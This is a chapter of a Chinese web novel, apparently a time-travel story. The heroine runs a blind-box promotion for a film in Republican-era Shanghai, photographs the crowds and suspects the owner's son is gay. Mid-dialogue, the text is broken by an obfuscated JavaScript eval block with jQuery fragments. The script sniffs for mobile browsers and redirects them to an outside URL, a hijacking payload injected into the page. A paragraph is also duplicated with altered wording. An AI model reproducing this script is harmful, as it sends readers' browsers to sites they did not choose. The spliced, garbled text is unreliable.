推开厚重的木门，一股樟木与油漆混合的气味扑面而来。库房深处并排停着三辆黑漆马车，车辕已重新打磨过，在昏黄的灯光下泛着润泽的光。
每辆车厢两侧，都已裱上整幅的沈青眉剧照。银甲披身的将军执剑而立，眉眼在绢布印刷下依然凛冽逼真。车檐插着一排彩绸小旗，红底金边，在穿堂风里猎猎作响。
周弥伸手轻抚过车厢，绢布裱得平整紧实，接缝处几乎看不出来。“留声机试过了么？”
刘部长朝车夫座旁一指。那儿固定着改良过的箱式留声机，铜喇叭口微微上扬。
“试了，用的是百代那张《将军令》唱片，音量够响，转一圈能放足三分钟。”
她绕着马车细细看了一圈：“上午城隍庙的摊子备好了？”
刘部长点点头，引她到隔壁小间。长条桌上堆着两样东西：一是用细竹篾扎的将军形灯笼，不过巴掌大小，里头能插小蜡烛；二是裁成巴掌大的剧照贴纸，用的是廉价的再生纸，但沈青眉那身银甲印得清晰夺目。
“灯笼两百只，贴纸五百张。按您说的，灯笼卖两角，贴纸一角两张。”
刘部长又掀开角落的麻布，露出几十个糊成宝塔形的纸盒，介绍道：“下午南京路用的‘纸偶盲盒’在这儿。”
每个盒面都印着不同的兵器图案，按她说的，里头随机放着穿不同戏服的楚月将军纸偶，拆开才能知道是哪款，旁边还有一摞服装纸样，是依戏服简化而来的剪纸版，领口袖缘描着金线。
周弥估摸着，城隍庙赚孩童的零花钱，南京路抓时髦客的猎奇心，工人新村走薄利多销，三路齐发，覆盖面够了。
当然，托儿也不能少。
“找的人呢？”
“都雇好了。”刘部长递过名单，“城隍庙是吆喝利落的妇人，南京路用会说洋泾浜英语的学生，工人新村派嗓门洪亮的汉子。马车夫也挑了机灵的，会看眼色配合放唱片。”
周弥点点头：“后天上午就让马车在城里绕三圈，先把声势造出去。晚上是平安夜，正式开卖。”
正要转身离开，周弥忽然想起一事，又顿住脚步：“刘部长，我还需要借一部相机。”
民国时期的相机堪称奢侈，一台普通型号的价格，抵得上工人一两年的总收入，或是中产专业人士数月的薪水。不过在众一这样的电影公司，相机自是必备的器物，演员的定妆照、宣传照、片场花絮，样样离不开它。
刘部长为人非常圆滑，又向来崇洋，对她就更多一层殷勤。闻言立刻堆起笑：“Miss秦要用相机？那自然有，自然有！”说着便推开里间一扇橡木门，“这边请——”
引周弥进去的这间是器材保管室。靠墙的玻璃柜里，整整齐齐陈列着十余台相机。
它们体型非常可观：木制机身的座机、蒙着黑布的大型新闻镜箱、带着三角支架的户外相机，一台台沉默地蹲踞在绒布衬底上。
周弥左右看了看，问道：“有没有更便携的？比如35毫米旁轴相机，德国的徕卡或者康泰时都可以。我要带到外面随拍。”
刘部长赶忙应声：“有，有！”
说着从抽屉深处取出一台徕卡ⅢA，连同一盒胶卷双手递上，“这是上个月刚从德国新到的，镜头是最新的Summar50mmf/2，拍人像顶好。”
周弥接过相机，笑道：“不错。平安夜那天的宣传活动，我亲自去拍些照片，后续发到报馆去。”
刘部长心里打了个转，届时自有宣传部门的人跟拍，报馆记者也会到场，何须她这“Miss秦”亲自掌镜？这人未免太过尽心了些。
在众一做事，多干少干薪水都是一样，她这般空降的要职，又捂得神神秘秘的，若不是和东家有说不清的关系，便是和少东家有说不清的关系。
人的念头往往是内心的倒影。刘部长自己就有一个外室，平日里也喜欢钻营男女关系，一遇到事便自然而然往男女私情上想去。
这么一想，脸上的笑容更殷勤了三分，索性从腰间解下一串钥匙：
“Miss秦这般用心，真是公司的福气。这钥匙您收着，往后需要什么器材，随时来取就是，省得次次要找人开门。”
他心里这般想着，面上却堆起十二分的殷勤，索性从腰间解下一串钥匙：“密斯脱秦这般费心，真是公司的福气。这钥匙您收着，往后需要用什么，随时来取就是，省得每次还要找人开门。”
周弥接过钥匙串，见上头挂着两把铜钥：一把刻着“器材室”，另一把刻的却是“道具库”。
她内心狂喜，但语气尽力装作平常：“道具库的也给我了？”
“是，是，”刘部长笑容不改，“想着您或许也需要用些道具，便一并给您备着了。”
虽然开放资源这件事邵同早就说过，刘部长此举不过是顺水人情，但这样直接把备用钥匙递交了，那就是他个人的孝敬了。
——
平安夜，黄昏。
周弥换了件黑色羊绒大衣，领子竖起来，半张脸埋在阴影里。
她拎着那台徕卡相机，像寻常过路人般混入人潮。
沪上几处热闹地界，早已按她布置的那样摆开了阵仗。
城隍庙九曲桥畔，三辆扎满彩旗的马车已稳稳停住，车身两侧沈青眉银甲剧照在晨光里灼灼逼人，留声机一转，《将军令》的铿锵乐声便淌了出来。
妇人支起摊子，竹竿上挂满巴掌大的将军小灯笼，案头堆着成摞的剧照贴纸。
“两文钱一个灯笼，一文钱两张贴纸——小把戏，讨个吉利！”
南京路百货公司转角，学生模样的少年已摆开阵势。摊前最显眼处摆着几排宝塔形牛皮纸盒，盒面只印着一个徽记：长剑贯月，正是《楚月关山》的标示。
少年拿起一个摇了摇，对驻足观望的西装客笑道：“两角钱抽一个楚月将军纸偶，共有八款常规扮相，还藏着一款沈小姐亲笔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049779|193976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
签名的隐藏版，先生要不要试试手气？”
旁边另设一摊，铺着锦绣阁的缎料样本，上头压着几张服装纸样，短衫、马褂、窄袖袄，版型皆取自戏服，只去了铠甲纹饰，改成日常可穿的式样。
“楚月将军同款剪裁，沪上独一份！做件短褂，走路都生风。”时髦小姐们捏着纸样对着阳光比划，已有性子急的转身往锦绣阁方向去了。
霞飞路咖啡馆外，摊子布置得格外雅致。黑丝绒衬底上摆着几套完整的纸偶，旁边立着说明牌：“集齐八款常规纸偶，可兑换特制收藏卡册。”
而所有这些摊位旁，都立着一块相同的告示牌，墨迹未干：“《楚月关山》影迷会入会处”
周弥站在南京路的骑楼阴影里，望着不远处攒动的人潮，心里那点隐约的不安终于落定。
在此之前，她不是没有过疑虑。
那些灯笼、贴纸、服装纸样，说到底都是旧把戏换了新皮，这年代的上海人也不是没有见过类似的。
可“盲盒”不同。
这是彻头彻尾的新鲜玩法，赌的是运气，卖的是期待。
她虽相信人性中那份对未知的好奇与收集的渴望是相通的，但一百年前的购买习惯、经济观念乃至娱乐方式，终究与她熟悉的时代隔着天堑。
直到此刻，亲眼看见那摊位前排起的长龙蜿蜒折了三道弯，她忍不住连续按下快门，捕捉那些仰起的脸、伸出的手、还有拆开纸盒瞬间或惊喜或懊恼的神情。
不过，这样只能拍的出人们的热情，却拍不出许多人都这么热情。
而这个"都"字非常重要。
必须要把整个队伍拍下来才行！她这么想着，走向骑楼二楼。
这种南洋传来的建筑，底下是店铺，楼上住人，临街的走廊连成一片，雨天不湿鞋、烈日不晒头。
站在一楼和二楼之间的楼梯中间往下拍，这个视角既可以创造高度差，拍下蜿蜒数折的队伍，又不影响楼上的住户。
咔嚓，咔嚓…
自己第一次操持这么大的商业案例，必须要好好留念。正要放下相机时，取景框边缘忽然掠过一个熟悉的身影。
邵文谦。
他穿着一件驼色呢大衣，没往人群里挤，只站在街灯下静静看着。而他身旁有个穿藏青西装的男人，正微微侧身，借着替邵文谦拂去肩头落叶的动作，指尖极轻地在他后颈碰了一下。
紧接着，男人从大衣口袋掏出烟盒，自己叼一支，又自然地递一支给邵文谦。两人凑近借火时，额头几乎相触，火柴光映亮两张年轻的脸——一个垂着眼睫，一个嘴角噙着极淡的笑。
周弥心中警铃大作。
她并非腐女，但作为一个见多识广的21世纪青年女性，一眼看出邵文谦与那男子之间流动的，绝非普通朋友的情谊。
邵同那样掌控欲极强的人，对独子的事怎么可能一无所知？
这老东西，竟然想诓她当同妻！